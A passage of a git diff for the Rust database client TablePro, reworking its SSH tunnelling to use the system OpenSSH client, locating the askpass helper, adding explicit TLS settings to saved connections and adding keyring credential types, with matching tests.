.map(PathBuf::from) - .or_else(|| std::env::var_os("HOME").map(|h| PathBuf::from(h).join(".config")))?; - Some(base.join("tablepro").join("known_hosts")) -} - -async fn connect_and_auth(cfg: &SshConfig) -> Result, SshError> { - let known_hosts_path = default_known_hosts_path() - .ok_or_else(|| SshError::KnownHosts("neither XDG_CONFIG_HOME nor HOME is set".into()))?; - let outcome = Arc::new(Mutex::new(None)); - let handler = ClientHandler { - target_host: cfg.host.clone(), - target_port: cfg.port, - known_hosts_path: known_hosts_path.clone(), - outcome: outcome.clone(), - }; - - let config = Arc::new(Config { - nodelay: true, - ..Default::default() - }); - let mut session = match client::connect(config, (cfg.host.as_str(), cfg.port), handler).await { - Ok(s) => s, - Err(e) => return Err(map_connect_error(e, &cfg.host, cfg.port, &known_hosts_path, &outcome)), - }; - - match outcome.lock().ok().and_then(|s| s.clone()) { - Some(HostKeyOutcome::LearnedNew { fingerprint }) => tracing::info!( - host = %cfg.host, - port = cfg.port, - fingerprint = %fingerprint, - "ssh: learned new host key (TOFU)", - ), - Some(HostKeyOutcome::Trusted) => tracing::debug!(host = %cfg.host, "ssh: host key matches known_hosts"), - Some(HostKeyOutcome::KnownHostsIo(e)) => return Err(SshError::KnownHosts(e)), - Some(HostKeyOutcome::Changed { fingerprint, line }) => { - return Err(SshError::HostKeyMismatch { - host: cfg.host.clone(), - port: cfg.port, - new_fingerprint: fingerprint, - line, - known_hosts: known_hosts_path, - }); - } - None => {} - } - - let auth = match &cfg.auth { - SshAuth::Password { password } => { - session - .authenticate_password(&cfg.username, password.expose_secret()) - .await? - } - SshAuth::PrivateKey { path, passphrase } => { - let key = load_secret_key(path, passphrase.as_ref().map(ExposeSecret::expose_secret)).map_err(|e| { - SshError::Key { - path: path.clone(), - source: e, - } - })?; - let hash = session.best_supported_rsa_hash().await?.flatten(); - session - .authenticate_publickey(&cfg.username, PrivateKeyWithHashAlg::new(Arc::new(key), hash)) - .await? - } - }; - - if !auth.success() { - return Err(SshError::Auth); - } - Ok(session) -} - -fn map_connect_error( - err: russh::Error, - host: &str, - port: u16, - known_hosts: &Path, - outcome: &Arc>>, -) -> SshError { - // Recover a poisoned mutex so a panic during host-key verification - // never silently downgrades a HostKeyMismatch to a generic Connect error. - let captured = outcome.lock().unwrap_or_else(|poisoned| poisoned.into_inner()).clone(); - match captured { - Some(HostKeyOutcome::Changed { fingerprint, line }) => SshError::HostKeyMismatch { - host: host.to_string(), - port, - new_fingerprint: fingerprint, - line, - known_hosts: known_hosts.to_path_buf(), - }, - Some(HostKeyOutcome::KnownHostsIo(e)) => SshError::KnownHosts(e), - _ => SshError::Connect(err.to_string()), - } -} - -async fn forwarder_loop( - listener: TcpListener, - session: Arc>, - remote_host: String, - remote_port: u16, - cancel: CancellationToken, -) { - loop { - tokio::select! { - _ = cancel.cancelled() => { - tracing::debug!("ssh tunnel cancelled"); - return; - } - accept = listener.accept() => match accept { - Ok((socket, peer)) => { - let session = session.clone(); - let remote_host = remote_host.clone(); - let cancel = cancel.clone(); - tokio::spawn(async move { - if let Err(e) = forward_one(session, socket, peer, remote_host, remote_port, cancel).await { - tracing::warn!(error = %e, "ssh forward failed"); - } - }); - } - Err(e) => { - tracing::warn!(error = %e, "ssh listener accept failed"); - return; - } - }, - } - } -} - -async fn forward_one( - session: Arc>, - mut socket: TcpStream, - peer: std::net::SocketAddr, - remote_host: String, - remote_port: u16, - cancel: CancellationToken, -) -> Result<(), russh::Error> { - let mut channel = session - .channel_open_direct_tcpip( - remote_host, - u32::from(remote_port), - peer.ip().to_string(), - u32::from(peer.port()), - ) - .await?; - - let mut buf = vec![0u8; 65536]; - let mut local_eof = false; - loop { - tokio::select! { - _ = cancel.cancelled() => { - let _ = channel.eof().await; - return Ok(()); - } - r = socket.read(&mut buf), if !local_eof => { - match r { - Ok(0) => { - local_eof = true; - let _ = channel.eof().await; - } - Ok(n) => { - if channel.data(&buf[..n]).await.is_err() { - return Ok(()); - } - } - Err(_) => return Ok(()), - } - } - msg = channel.wait() => match msg { - Some(ChannelMsg::Data { data }) => { - if socket.write_all(&data).await.is_err() { - return Ok(()); - } - } - Some(ChannelMsg::ExtendedData { .. }) => {} - Some(ChannelMsg::Eof) | Some(ChannelMsg::Close) | None => { - let _ = socket.shutdown().await; - return Ok(()); - } - Some(_) => {} - } - } - } -} - -#[cfg(test)] -mod tests { - use super::*; - - #[test] - fn ssh_auth_password_redacts_in_debug() { - let auth = SshAuth::Password { - password: SecretString::new("topsecret".to_string().into()), - }; - let dbg = format!("{auth:?}"); - assert!(!dbg.contains("topsecret"), "password leaked in Debug: {dbg}"); - } - - const KEY_A_BASE64: &str = "AAAAC3NzaC1lZDI1NTE5AAAAIGAdbe+Xv3hfmzwpfcGVeMHE/jfo5bmR1IgIpfuP4ypR"; - const KEY_B_BASE64: &str = "AAAAC3NzaC1lZDI1NTE5AAAAIFvC8V+mh5lxNlOLorBehIwTS2R/nvw2ghab6N1SlSk6"; - - fn parse_key(base64: &str) -> PublicKey { - russh::keys::parse_public_key_base64(base64).expect("valid base64 public key") - } - - #[test] - fn host_public_key_returns_a_plain_key_unchanged() { - let key = parse_key(KEY_A_BASE64); - let presented = PublicKeyOrCertificate::PublicKey { - key: key.clone(), - hash_alg: None, - }; - let resolved = host_public_key(&presented); - assert_eq!(resolved, key); - assert_eq!( - resolved.fingerprint(HashAlg::Sha256).to_string(), - key.fingerprint(HashAlg::Sha256).to_string() - ); - } - - #[test] - fn verify_or_learn_creates_known_hosts_on_first_use() { - let dir = tempfile::tempdir().unwrap(); - let path = dir.path().join("nested").join("known_hosts"); - let key = parse_key(KEY_A_BASE64); - let outcome = verify_or_learn("bastion.example.com", 22, &key, &path, "fp"); - assert!(matches!(outcome, HostKeyOutcome::LearnedNew { .. })); - assert!(path.exists()); - } - - #[test] - fn verify_or_learn_trusts_recorded_key_on_repeat() { - let dir = tempfile::tempdir().unwrap(); - let path = dir.path().join("known_hosts"); - let key = parse_key(KEY_A_BASE64); - let _ = verify_or_learn("bastion.example.com", 22, &key, &path, "fp"); - let outcome = verify_or_learn("bastion.example.com", 22, &key, &path, "fp"); - assert!(matches!(outcome, HostKeyOutcome::Trusted)); - } - - #[test] - fn verify_or_learn_detects_key_mismatch() { - let dir = tempfile::tempdir().unwrap(); - let path = dir.path().join("known_hosts"); - let key_a = parse_key(KEY_A_BASE64); - let key_b = parse_key(KEY_B_BASE64); - let _ = verify_or_learn("bastion.example.com", 22, &key_a, &path, "fp_a"); - let outcome = verify_or_learn("bastion.example.com", 22, &key_b, &path, "fp_b"); - match outcome { - HostKeyOutcome::Changed { fingerprint, .. } => assert_eq!(fingerprint, "fp_b"), - other => panic!("expected Changed, got {other:?}"), - } - } -} diff --git a/linux/crates/ssh/src/services.rs b/linux/crates/ssh/src/services.rs index dea764afc3..c86e09c7b1 100644 --- a/linux/crates/ssh/src/services.rs +++ b/linux/crates/ssh/src/services.rs @@ -1,11 +1,14 @@ use std::os::unix::fs::PermissionsExt; -use std::path::PathBuf; +use std::path::{Path, PathBuf}; use std::sync::Arc; use tablepro_core::SshFailure; use crate::SshRuntimeCell; +/// The file name of the askpass helper ssh runs for every prompt. +pub const ASKPASS_HELPER: &str = "tablepro-askpass"; + #[derive(Debug, Clone)] pub struct SshServices { pub runtime: Arc, @@ -15,10 +18,22 @@ pub struct SshServices { } impl SshServices { + /// The system OpenSSH client from `PATH`, with control sockets under + /// `runtime_dir` and the askpass helper found from `libexecdir`. + pub fn system(runtime_dir: PathBuf, libexecdir: &Path) -> Self { + let executable_dir = std::env::current_exe() + .ok() + .and_then(|path| path.parent().map(Path::to_path_buf)); + Self { + runtime: Arc::new(SshRuntimeCell::new(runtime_dir)), + ssh_program: PathBuf::from("ssh"), + ssh_keygen_program: PathBuf::from("ssh-keygen"), + askpass_program: locate_askpass(libexecdir, executable_dir.as_deref()), + } + } + pub fn verify_askpass_helper(&self) -> Result<(), SshFailure> { - let executable = std::fs::metadata(&self.askpass_program) - .is_ok_and(|metadata| metadata.is_file() && metadata.permissions().mode() & 0o111 != 0); - if executable { + if is_executable_file(&self.askpass_program) { Ok(()) } else { Err(SshFailure::AskpassHelperMissing { @@ -28,6 +43,25 @@ impl SshServices { } } +/// The configured libexec directory wins. A bare `cargo build` never +/// installs there but puts the helper next to the app binary, so that +/// directory is the fallback. When neither has it, the configured path +/// is kept so the missing-helper error names where it belongs. +fn locate_askpass(libexecdir: &Path, executable_dir: Option<&Path>) -> PathBuf { + let configured = libexecdir.join(ASKPASS_HELPER); + if is_executable_file(&configured) { + return configured; + } + executable_dir + .map(|dir| dir.join(ASKPASS_HELPER)) + .filter(|beside| is_executable_file(beside)) + .unwrap_or(configured) +} + +fn is_executable_file(path: &Path) -> bool { + std::fs::metadata(path).is_ok_and(|metadata| metadata.is_file() && metadata.permissions().mode() & 0o111 != 0) +} + #[cfg(test)] mod tests { use super::*; @@ -41,10 +75,17 @@ mod tests { } } + fn install_helper(dir: &Path) -> PathBuf { + let helper = dir.join(ASKPASS_HELPER); + std::fs::write(&helper, b"#!/bin/sh\n").unwrap(); + std::fs::set_permissions(&helper, std::fs::Permissions::from_mode(0o755)).unwrap(); + helper + } + #[test] fn askpass_helper_must_be_an_executable_file() { let temp = tempfile::tempdir().unwrap(); - let helper = temp.path().join("tablepro-askpass"); + let helper = temp.path().join(ASKPASS_HELPER); assert!(matches!( services(helper.clone()).verify_askpass_helper(), @@ -57,4 +98,49 @@ mod tests { std::fs::set_permissions(&helper, std::fs::Permissions::from_mode(0o755)).unwrap(); assert!(services(helper).verify_askpass_helper().is_ok()); } + + #[test] + fn askpass_in_libexecdir_wins_over_the_executable_directory() { + let libexec = tempfile::tempdir().unwrap(); + let beside = tempfile::tempdir().unwrap(); + let installed = install_helper(libexec.path()); + install_helper(beside.path()); + + assert_eq!(locate_askpass(libexec.path(), Some(beside.path())), installed); + } + + #[test] + fn askpass_falls_back_to_the_executable_directory() { + let libexec = tempfile::tempdir().unwrap(); + let beside = tempfile::tempdir().unwrap(); + let built = install_helper(beside.path()); + + let located = locate_askpass(libexec.path(), Some(beside.path())); + + assert_eq!(located, built); + assert!(services(located).verify_askpass_helper().is_ok()); + } + + #[test] + fn a_missing_helper_is_reported_at_the_configured_path() { + let libexec = tempfile::tempdir().unwrap(); + let beside = tempfile::tempdir().unwrap(); + + let located = locate_askpass(libexec.path(), Some(beside.path())); + + assert_eq!(located, libexec.path().join(ASKPASS_HELPER)); + assert_eq!(locate_askpass(libexec.path(), None), located); + } + + #[test] + fn system_services_run_the_openssh_client_from_path() { + let libexec = tempfile::tempdir().unwrap(); + let installed = install_helper(libexec.path()); + + let services = SshServices::system(PathBuf::from("/run/user/1000/tablepro"), libexec.path()); + + assert_eq!(services.ssh_program, Path::new("ssh")); + assert_eq!(services.ssh_keygen_program, Path::new("ssh-keygen")); + assert_eq!(services.askpass_program, installed); + } } diff --git a/linux/crates/ssh/src/session.rs b/linux/crates/ssh/src/session.rs index 10ca219fe3..9bc07dc1c5 100644 --- a/linux/crates/ssh/src/session.rs +++ b/linux/crates/ssh/src/session.rs @@ -8,7 +8,7 @@ use std::sync::{Arc, Mutex}; use std::time::Duration; use tablepro_core::credentials::CredentialInteraction; -use tablepro_core::{LivenessPolicy, SshFailure, TimeoutPhase, TransportError}; +use tablepro_core::{LivenessPolicy, NetworkEndpoint, SshFailure, TimeoutPhase, TransportError}; use tokio::io::{AsyncBufReadExt, AsyncReadExt, BufReader}; use tokio::net::UnixListener; use tokio::process::{Child, ChildStderr, Command}; @@ -18,10 +18,12 @@ use tokio_util::sync::{CancellationToken, WaitForCancellationFutureOwned}; use crate::argv::{ControlOp, master_args}; use crate::askpass_bridge::AskpassBridge; +use crate::first_hop::resolve_first_hop; use crate::known_hosts::spawn_failure; +use crate::password_owner::resolve_password_owner; use crate::stderr_classify::{ClassifyContext, classify}; use crate::supervisor::{ForwardCancel, Supervisor, TASKS, run_control}; -use crate::{SshConfig, SshServices, lock}; +use crate::{SshAuth, SshConfig, SshServices, lock}; const CONTROL_SUFFIX: &str = ".0123456789abcdef"; const STDERR_TAIL_LIMIT: usize = 65_536; @@ -34,6 +36,7 @@ pub struct SshSession { pub(crate) master_dir: PathBuf, pub(crate) control: PathBuf, pub(crate) master_pid: Option, + pub(crate) first_hop: Option, pub(crate) closed: CancellationToken, pub(crate) shutdown: CancellationToken, pub(crate) exit_status: Arc>>, @@ -69,6 +72,10 @@ impl SshSession { return Err(error); } }; + let password_owner = match config.auth { + SshAuth::Password { .. } => resolve_password_owner(&services.ssh_program, config).await, + SshAuth::Agent | SshAuth::PrivateKey { .. } | SshAuth::KeyboardInteractive => None, + }; let spawned = Command::new(&services.ssh_program) .args(master_args(config, &control, liveness)) .env("SSH_ASKPASS", &services.askpass_program) @@ -93,17 +100,25 @@ impl SshSession { .stderr .take() .map(|stderr| TASKS.spawn(collect_stderr(stderr, stderr_tail.clone()))); - let mut bridge = AskpassBridge::new(owner_uid, config.destination.to_string(), interaction, &config.auth); - let outcome = handshake( - &mut child, - &listener, - &mut bridge, - services, - &control, - liveness, - &cancel, - ) - .await; + let mut bridge = AskpassBridge::new( + owner_uid, + config.destination.to_string(), + interaction, + &config.auth, + password_owner, + ); + let (outcome, first_hop) = tokio::join!( + handshake( + &mut child, + &listener, + &mut bridge, + services, + &control, + liveness, + &cancel, + ), + resolve_first_hop(&services.ssh_program, config), + ); drop(listener); if let Err(error) = tokio::fs::remove_file(master_dir.join("askpass")).await { tracing::debug!(%error, "could not remove the askpass socket"); @@ -143,6 +158,7 @@ impl SshSession { master_dir: master_dir.clone(), control: control.clone(), master_pid: child.id(), + first_hop, closed: closed.clone(), shutdown: shutdown.clone(), exit_status: exit_status.clone(), @@ -183,6 +199,14 @@ impl SshSession { &self.destination } + /// Where the session's first TCP connection goes, as ssh resolved + /// it: the first jump host, or the destination behind its alias. + /// `None` for a ProxyCommand route, whose first hop only that + /// command knows. + pub fn first_hop_endpoint(&self) -> Option<&NetworkEndpoint> { + self.first_hop.as_ref() + } + pub async fn shutdown(&self, grace: Duration) { self.shutdown.cancel(); if tokio::time::timeout(grace.saturating_mul(2), self.closed.cancelled()) diff --git a/linux/crates/ssh/tests/openssh_session.rs b/linux/crates/ssh/tests/openssh_session.rs index a095b85ea5..35516a64f7 100644 --- a/linux/crates/ssh/tests/openssh_session.rs +++ b/linux/crates/ssh/tests/openssh_session.rs @@ -1,3 +1,4 @@ +use std::collections::HashSet; use std::error::Error; use std::os::unix::fs::PermissionsExt; use std::path::{Path, PathBuf}; @@ -24,7 +25,7 @@ const SSHD_SCRIPT: &str = "apk add --no-cache openssh >/dev/null \ && exec /usr/sbin/sshd -D -e -p 2222 -o PasswordAuthentication=yes -o KbdInteractiveAuthentication=no -o AllowTcpForwarding=yes"; struct Fixture { - _container: ContainerAsync, + container: ContainerAsync, _temp: tempfile::TempDir, host: String, port: u16, @@ -68,7 +69,7 @@ async fn start() -> TestResult { askpass_program: PathBuf::from(env!("CARGO_BIN_EXE_tablepro-askpass")), }; Ok(Fixture { - _container: container, + container, _temp: temp, host, port, @@ -105,23 +106,73 @@ async fn connect( replies: Vec, ) -> (Result, TransportError>, Arc) { let prompter = Arc::new(FakePrompter::new(replies)); - let result = match config(fixture, auth) { - Ok(config) => { - SshSession::connect( - &config, - &fixture.services, - &LivenessPolicy::DESKTOP, - CredentialInteraction::Attended(prompter.clone()), - CancellationToken::new(), - ) - .await - } + let result = connect_with( + fixture, + auth, + &LivenessPolicy::DESKTOP, + CredentialInteraction::Attended(prompter.clone()), + CancellationToken::new(), + ) + .await; + (result, prompter) +} + +async fn connect_with( + fixture: &Fixture, + auth: SshAuth, + liveness: &LivenessPolicy, + interaction: CredentialInteraction, + cancel: CancellationToken, +) -> Result, TransportError> { + match config(fixture, auth) { + Ok(config) => SshSession::connect(&config, &fixture.services, liveness, interaction, cancel).await, Err(error) => Err(SshFailure::Protocol { detail: error.to_string(), } .into()), + } +} + +fn password_auth() -> SshAuth { + SshAuth::Password { + password: SecretString::from("s3cret"), + } +} + +/// Socket inodes a process holds open, read from its fd links. +fn socket_inodes(pid: &str) -> HashSet { + let Ok(entries) = std::fs::read_dir(format!("/proc/{pid}/fd")) else { + return HashSet::new(); }; - (result, prompter) + entries + .filter_map(Result::ok) + .filter_map(|entry| std::fs::read_link(entry.path()).ok()) + .filter_map(|target| { + let target = target.to_string_lossy().into_owned(); + target.strip_prefix("socket:[")?.strip_suffix(']')?.parse::().ok() + }) + .collect() +} + +/// Inodes of every TCP socket in LISTEN state (state 0A) in this +/// network namespace. +fn listening_tcp_inodes() -> HashSet { + ["/proc/self/net/tcp", "/proc/self/net/tcp6"] + .iter() + .filter_map(|table| std::fs::read_to_string(table).ok()) + .flat_map(|table| { + table + .lines() + .skip(1) + .filter_map(|row| { + let fields: Vec<&str> = row.split_whitespace().collect(); + (fields.get(3) == Some(&"0A")) + .then(|| fields.get(9)?.parse::().ok()) + .flatten() + }) + .collect::>() + }) + .collect() } fn process_alive(pid: u32) -> bool { @@ -285,3 +336,154 @@ async fn changed_key_reports_file_and_line_then_forget_allows_new_key() { assert!(session.is_ok()); assert_eq!(prompter.requests().len(), 1); } + +#[tokio::test] +#[ignore = "requires docker"] +async fn first_hop_is_the_destination_ssh_resolved() { + let fixture = start().await.unwrap(); + let (session, _) = connect(&fixture, password_auth(), vec![accept()]).await; + let session = session.unwrap(); + + let first_hop = session.first_hop_endpoint().unwrap(); + + assert_eq!(first_hop.port(), fixture.port); + assert_eq!(first_hop.host(), fixture.host); +} + +#[tokio::test] +#[ignore = "requires docker"] +async fn no_loopback_listener_while_tunnelled() { + let fixture = start().await.unwrap(); + let (session, _) = connect(&fixture, password_auth(), vec![accept()]).await; + let session = session.unwrap(); + let target = NetworkEndpoint::new("127.0.0.1", 2222).unwrap(); + let transport = session.forward(target, &LivenessPolicy::DESKTOP).await.unwrap(); + let _stream = transport.open().await.unwrap(); + + let listening = listening_tcp_inodes(); + let master = session.master_pid().unwrap().to_string(); + let ours: HashSet = socket_inodes("self").union(&socket_inodes(&master)).copied().collect(); + + assert!( + ours.is_disjoint(&listening), + "a TCP listener carries the tunnel: {:?}", + ours.intersection(&listening).collect::>() + ); +} + +#[tokio::test] +#[ignore = "requires docker"] +async fn reroute_reuses_session() { + let fixture = start().await.unwrap(); + let (session, _) = connect(&fixture, password_auth(), vec![accept()]).await; + let session = session.unwrap(); + let pid = session.master_pid().unwrap(); + let first = session + .forward( + NetworkEndpoint::new("127.0.0.1", 2222).unwrap(), + &LivenessPolicy::DESKTOP, + ) + .await + .unwrap(); + + let rerouted = first + .reroute(NetworkEndpoint::new("localhost", 2222).unwrap()) + .await + .unwrap(); + + let (TransportRoute::UnixSocket(first_socket), TransportRoute::UnixSocket(second_socket)) = + (first.route(), rerouted.route()) + else { + panic!("an ssh forward routes through a unix socket"); + }; + assert_ne!(first_socket, second_socket); + assert_eq!( + first_socket.parent(), + second_socket.parent(), + "the reroute started another master" + ); + assert_eq!(session.master_pid(), Some(pid)); + let mut stream = rerouted.open().await.unwrap(); + let mut banner = [0u8; 8]; + stream.read_exact(&mut banner).await.unwrap(); + assert_eq!(&banner, b"SSH-2.0-"); +} + +#[tokio::test] +#[ignore = "requires docker"] +async fn cancel_during_handshake_returns_cancelled() { + let fixture = start().await.unwrap(); + let prompter = Arc::new(FakePrompter::new([accept()]).with_delay(Duration::from_secs(60))); + let cancel = CancellationToken::new(); + let cancelling = { + let cancel = cancel.clone(); + async move { + tokio::time::sleep(Duration::from_secs(1)).await; + cancel.cancel(); + } + }; + + let started = tokio::time::Instant::now(); + let (outcome, ()) = tokio::join!( + connect_with( + &fixture, + SshAuth::Agent, + &LivenessPolicy::DESKTOP, + CredentialInteraction::Attended(prompter.clone()), + cancel, + ), + cancelling, + ); + + assert!(matches!( + outcome, + Err(TransportError::Ssh(SshFailure::InteractionCancelled)) + )); + assert!(started.elapsed() < Duration::from_secs(10)); + assert_eq!(prompter.requests().len(), 1, "the cancel came before the prompt"); +} + +#[tokio::test] +#[ignore = "requires docker"] +async fn keepalive_detects_black_hole() { + let fixture = start().await.unwrap(); + let liveness = LivenessPolicy { + ssh_keepalive_interval: Duration::from_secs(1), + ssh_keepalive_max: 2, + ..LivenessPolicy::DESKTOP + }; + let prompter = Arc::new(FakePrompter::new([accept()])); + let session = connect_with( + &fixture, + password_auth(), + &liveness, + CredentialInteraction::Attended(prompter), + CancellationToken::new(), + ) + .await + .unwrap(); + + fixture.container.pause().await.unwrap(); + let closed = tokio::time::timeout(Duration::from_secs(5), session.closed()).await; + fixture.container.unpause().await.unwrap(); + + assert!( + closed.is_ok(), + "a paused server was not noticed within the keepalive window" + ); +} + +#[tokio::test] +#[ignore = "requires docker"] +async fn session_closed_fires_when_bastion_stops() { + let fixture = start().await.unwrap(); + let (session, _) = connect(&fixture, password_auth(), vec![accept()]).await; + let session = session.unwrap(); + + fixture.container.stop_with_timeout(Some(5)).await.unwrap(); + + tokio::time::timeout(Duration::from_secs(30), session.closed()) + .await + .unwrap(); + assert!(session.is_closed()); +} diff --git a/linux/crates/storage/src/connections.rs b/linux/crates/storage/src/connections.rs index b9552fec76..916eb719bf 100644 --- a/linux/crates/storage/src/connections.rs +++ b/linux/crates/storage/src/connections.rs @@ -3,7 +3,8 @@ use std::sync::{Arc, Mutex}; use chrono::{DateTime, Utc}; use serde::{Deserialize, Serialize}; -use tablepro_core::AuthMode; +use tablepro_core::credentials::SecretKind; +use tablepro_core::{AuthMode, TlsConfig}; use tokio::sync::watch; use uuid::Uuid; @@ -19,7 +20,10 @@ pub struct SavedConnection { pub port: u16, pub database: String, pub username: String, - pub use_tls: bool, + /// Required, with no default: a file without it was written before + /// TLS modes existed, and guessing a mode for it could silently + /// connect in the clear. + pub tls: TlsConfig, #[serde(default)] pub read_only: bool, #[serde(default)] @@ -44,6 +48,75 @@ pub struct SavedConnection { pub group: Option, } +impl SavedConnection { + /// What a secret of this connection belongs to, in the user's own + /// terms. Seahorse and the credential prompt both show it, so it + /// has to identify the connection without TablePro open. + pub fn secret_target(&self, kind: SecretKind) -> String { + match kind { + SecretKind::DatabasePassword => self.database_target(), + SecretKind::SshPassword => self.ssh_target(), + SecretKind::SshPassphrase => self.passphrase_target(), + } + } + + /// Whether the keyring is meant to hold a passphrase for the SSH + /// key. Without one the key is unencrypted, or ssh asks for it. + pub fn has_stored_passphrase(&self) -> bool { + matches!( + self.ssh.as_ref().map(|ssh| &ssh.auth), + Some(SavedSshAuth::PrivateKey { + has_passphrase: true, + .. + }) + ) + } + + /// The SSH key file, when the connection names one. + pub fn ssh_key_path(&self) -> Option<&Path> { + match self.ssh.as_ref().map(|ssh| &ssh.auth) { + Some(SavedSshAuth::PrivateKey { path, .. }) => path.as_deref(), + _ => None, + } + } + + fn database_target(&self) -> String { + let mut target = String::new(); + if !self.username.is_empty() { + target.push_str(&self.username); + target.push('@'); + } + target.push_str(&self.host); + target.push(':'); + target.push_str(&self.port.to_string()); + if !self.database.is_empty() { + target.push('/'); + target.push_str(&self.database); + } + target + } + + fn ssh_target(&self) -> String { + let Some(ssh) = &self.ssh else { + return self.host.clone(); + }; + match ssh.username.as_deref().filter(|user| !user.is_empty()) { + Some(user) => format!("{user}@{}", ssh.host), + None => ssh.host.clone(), + } + } + + /// A passphrase belongs to a key file, so the path identifies it + /// better than the host. Without a path the key comes from the agent + /// or the SSH config, and the host is all there is. + fn passphrase_target(&self) -> String { + match self.ssh_key_path() { + Some(path) => path.display().to_string(), + None => self.ssh_target(), + } + } +} + #[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] pub struct SavedSshConfig { pub host: String, @@ -408,7 +481,7 @@ mod tests { port: 5432, database: "app".to_owned(), username: "postgres".to_owned(), - use_tls: true, + tls: TlsConfig::verify_full(), read_only: false, auth_mode: AuthMode::Password, ssh: None, @@ -428,7 +501,7 @@ mod tests { assert_eq!(copy.port, source.port); assert_eq!(copy.database, source.database); assert_eq!(copy.username, source.username); - assert_eq!(copy.use_tls, source.use_tls); + assert_eq!(copy.tls, source.tls); assert_eq!(copy.driver_id, source.driver_id); } @@ -485,7 +558,7 @@ mod tests { port: 5432, database: "postgres".into(), username: "postgres".into(), - use_tls: false, + tls: TlsConfig::disabled(), read_only: false, auth_mode: AuthMode::Password, ssh: None, @@ -589,7 +662,7 @@ mod tests { let root = TempDir::new().expect("tempdir"); seed( &root, - r#"{"version": 1, "connections": [{"id":"550e8400-e29b-41d4-a716-446655440000","name":"n","driver_id":"postgres","host":"h","port":5432,"database":"d","username":"u","use_tls":false,"auth_mode":"from_the_future"}]}"#, + r#"{"version": 1, "connections": [{"id":"550e8400-e29b-41d4-a716-446655440000","name":"n","driver_id":"postgres","host":"h","port":5432,"database":"d","username":"u","tls":{"mode":"disable"},"auth_mode":"from_the_future"}]}"#, ); let refused = store(&root).load_blocking(); @@ -602,6 +675,91 @@ mod tests { ); } + #[test] + fn saved_connection_requires_tls_field() { + let root = TempDir::new().expect("tempdir"); + seed( + &root, + r#"{"version": 1, "connections": [{"id":"550e8400-e29b-41d4-a716-446655440000","name":"n","driver_id":"postgres","host":"h","port":5432,"database":"d","username":"u","use_tls":true}]}"#, + ); + + let refused = store(&root).load_blocking(); + + // A list written before TLS modes is refused rather than read as + // a guess, which could connect in the clear. + assert!( + matches!(refused, Err(StorageError::DocumentUnavailable(_))), + "{refused:?}" + ); + } + + #[test] + fn a_tls_configuration_round_trips_with_its_files() { + let root = TempDir::new().expect("tempdir"); + let store = store(&root); + let mut connection = sample_connection(); + connection.tls = TlsConfig { + ca_file: Some(PathBuf::from("/etc/ssl/db-ca.pem")), + server_name: Some("db.example.com".to_owned()), + ..TlsConfig::verify_full() + }; + + store.upsert_blocking(connection.clone()).expect("upsert"); + let list = store.load_blocking().expect("load"); + + assert_eq!(list[0].tls, connection.tls); + } + + fn with_ssh(auth: SavedSshAuth) -> SavedConnection { + SavedConnection { + ssh: Some(SavedSshConfig { + host: "bastion.example.com".to_owned(), + port: Some(2222), + username: Some("deploy".to_owned()), + jump_hosts: Vec::new(), + auth, + }), + database: "shop".to_owned(), + ..sample_connection() + } + } + + #[test] + fn secret_targets_name_what_each_secret_unlocks() { + let key = with_ssh(SavedSshAuth::PrivateKey { + path: Some(PathBuf::from("/home/u/.ssh/id_ed25519")), + has_passphrase: true, + }); + + assert_eq!( + key.secret_target(SecretKind::DatabasePassword), + "postgres@localhost:5432/shop" + ); + assert_eq!(key.secret_target(SecretKind::SshPassword), "deploy@bastion.example.com"); + assert_eq!(key.secret_target(SecretKind::SshPassphrase), "/home/u/.ssh/id_ed25519"); + assert!(key.has_stored_passphrase()); + assert_eq!(key.ssh_key_path(), Some(Path::new("/home/u/.ssh/id_ed25519"))); + } + + #[test] + fn a_passphrase_without_a_key_file_names_the_host() { + let agent_key = with_ssh(SavedSshAuth::PrivateKey { + path: None, + has_passphrase: false, + }); + + assert_eq!( + agent_key.secret_target(SecretKind::SshPassphrase), + "deploy@bastion.example.com" + ); + assert!(!agent_key.has_stored_passphrase()); + assert_eq!( + sample_connection().secret_target(SecretKind::SshPassword), + "localhost", + "no SSH section falls back to the database host" + ); + } + #[test] fn concurrent_upserts_all_persist() { let root = TempDir::new().expect("tempdir"); diff --git a/linux/crates/storage/src/credentials/credential_demand.rs b/linux/crates/storage/src/credentials/credential_demand.rs new file mode 100644 index 0000000000..678b65a0aa --- /dev/null +++ b/linux/crates/storage/src/credentials/credential_demand.rs @@ -0,0 +1,15 @@ +use tablepro_core::credentials::SecretKind; + +/// What the caller wants beyond the stored secrets. +#[derive(Debug, Clone, Copy, Default, PartialEq, Eq)] +pub struct CredentialDemand { + /// The secret of this kind was just refused by the server, so the + /// stored one is skipped and the user is asked again. + pub reenter: Option, +} + +impl CredentialDemand { + pub fn reenter(kind: SecretKind) -> Self { + Self { reenter: Some(kind) } + } +} diff --git a/linux/crates/storage/src/credentials/credential_error.rs b/linux/crates/storage/src/credentials/credential_error.rs new file mode 100644 index 0000000000..3203adba86 --- /dev/null +++ b/linux/crates/storage/src/credentials/credential_error.rs @@ -0,0 +1,38 @@ +use tablepro_core::credentials::{SecretError, SecretKind}; +use thiserror::Error; + +/// Why the keyring could not supply a secret a connection needs. +#[derive(Debug, Clone, PartialEq, Eq, Error)] +pub enum KeyringError { + /// Nothing is stored. Never turned into an empty secret: that would + /// reach the server and come back as a misleading login failure. + #[error("no {} is stored for this connection", kind_text(*.kind))] + SecretNotStored { kind: SecretKind }, + #[error("the {} could not be read from the keyring: {error}", kind_text(*.kind))] + Secret { kind: SecretKind, error: SecretError }, +} + +impl KeyringError { + pub fn kind(&self) -> SecretKind { + match self { + Self::SecretNotStored { kind } | Self::Secret { kind, .. } => *kind, + } + } +} + +#[derive(Debug, Clone, PartialEq, Eq, Error)] +pub enum CredentialError { + #[error(transparent)] + Keyring(#[from] KeyringError), + /// The user dismissed the prompt. + #[error("the credential prompt was cancelled")] + Cancelled, +} + +fn kind_text(kind: SecretKind) -> &'static str { + match kind { + SecretKind::DatabasePassword => "database password", + SecretKind::SshPassword => "SSH password", + SecretKind::SshPassphrase => "SSH key passphrase", + } +} diff --git a/linux/crates/storage/src/credentials/keyring_credentials.rs b/linux/crates/storage/src/credentials/keyring_credentials.rs new file mode 100644 index 0000000000..78f925de5a --- /dev/null +++ b/linux/crates/storage/src/credentials/keyring_credentials.rs @@ -0,0 +1,651 @@ +use std::path::PathBuf; +use std::sync::Arc; + +use secrecy::{ExposeSecret, SecretString}; +use tablepro_core::credentials::{ + CredentialInteraction, CredentialPrompt, CredentialPrompter, PromptField, PromptPurpose, PromptReason, PromptReply, + SecretError, SecretKind, SecretLookup, SecretSave, SecretVault, +}; 